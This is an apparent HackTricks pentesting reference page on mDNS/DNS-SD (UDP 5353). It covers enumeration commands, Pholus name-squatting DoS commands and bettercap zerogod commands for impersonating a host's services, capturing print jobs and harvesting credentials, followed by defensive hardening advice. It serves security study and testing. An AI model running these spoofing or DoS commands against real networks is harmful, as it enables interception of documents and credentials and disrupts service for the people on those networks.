5353/UDP Multicast DNS (mDNS) と DNS-SD
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Multicast DNS (mDNS) は、ユニキャスト DNS サーバーが存在しないローカルリンク内で、DNS のような名前解決とサービス検出を可能にします。UDP/5353 とマルチキャストアドレス 224.0.0.251 (IPv4) および FF02::FB (IPv6) を使用します。DNS Service Discovery (DNS-SD、通常は mDNS と共に使用される) は、PTR、SRV、TXT レコードを介してサービスを列挙・記述する標準化された方法を提供します。
PORT STATE SERVICE
5353/udp open zeroconf
攻撃でよく利用するプロトコルの要点:
- .local ゾーン内の名前は mDNS により解決される。
- QU (Query Unicast) ビットは、マルチキャストのクエリに対してもユニキャストの応答を要求する場合がある。
- 実装はローカルリンク以外を発信元とするパケットを無視するべきだが、一部のスタックではそれらを受け入れるものがある。
- プロービング/アナウンスはホスト名/サービス名の一意性を強制する。ここに介入すると DoS や「name squatting」(名前の座り込み)状態を引き起こせる。
DNS-SD service model
サービスは .local 下で _
Network Exploration and Enumeration
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Tip: 一部のブラウザ/WebRTC はローカルIPを隠すために一時的な mDNS ホスト名を使用する。ワイヤ上に random-UUID.local のような候補が見える場合は、それらを mDNS で解決してローカルIPへピボットする。
Attacks
mDNS name probing interference (DoS / name squatting)
プロービング段階ではホストが名前の一意性を確認する。偽の競合応答を返すことで、ホストに新しい名前を選ばせたり登録に失敗させたりできる。これによりサービスの登録や発見が遅延または阻止される可能性がある。
Pholus の例:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
サービスの偽装となりすまし (MitM)
広告されている DNS-SD サービス(プリンター、AirPlay、HTTP、ファイル共有)になりすまして、クライアントを自分に接続させます。特に以下の用途で有効です:
- _ipp._tcp や _printer._tcp を偽装してドキュメントを取得する。
- クライアントを HTTP/HTTPS サービスに誘導してトークン/クッキーを回収したり、ペイロードを配布したりする。
- Windows クライアントが偽装したサービスに対して認証を交渉する際に、NTLM relay techniques と組み合わせる。
bettercap の zerogod モジュール (mDNS/DNS-SD spoofer/impersonator) を使用すると:
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notes on recent implementation issues (useful for DoS/persistence during engagements)
- Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.
Browser/WebRTC mDNS considerations
Modern Chromium/Firefox obfuscate host candidates with random mDNS names. You can re-expose LAN IPs on managed endpoints by pushing the Chrome policy WebRtcLocalIpsAllowedUrls (or toggling chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge equivalent) so ICE exposes host candidates instead of mDNS; set via HKLM\Software\Policies\Google\Chrome.
When users disable the protection manually (common in WebRTC troubleshooting guides), their browsers start advertising plain host candidates again, which you can capture via mDNS or ICE signaling to speed up host discovery.
Defensive considerations and OPSEC
- Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
- Windows endpoints/servers:
- To hard-disable name resolution via mDNS set the registry value and reboot:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
- On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
- Linux (Avahi):
- Lock down publishing when not needed: set
disable-publishing=yes, and restrict interfaces withallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.conf. - Consider
check-response-ttl=yesand avoidenable-reflector=yesunless strictly required; preferreflect-filters=allowlists when reflecting. - macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
- Monitoring: Alert on unusual surges in
_services._dns-sd._udp.localqueries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.
Tooling quick reference
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
The most interesting attack you can perform over this service is to perform a MitM in the communication between the client and the real server. You might be able to obtain sensitive files (MitM the communication with the printer) or even credentials (Windows authentication).
For more information check:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


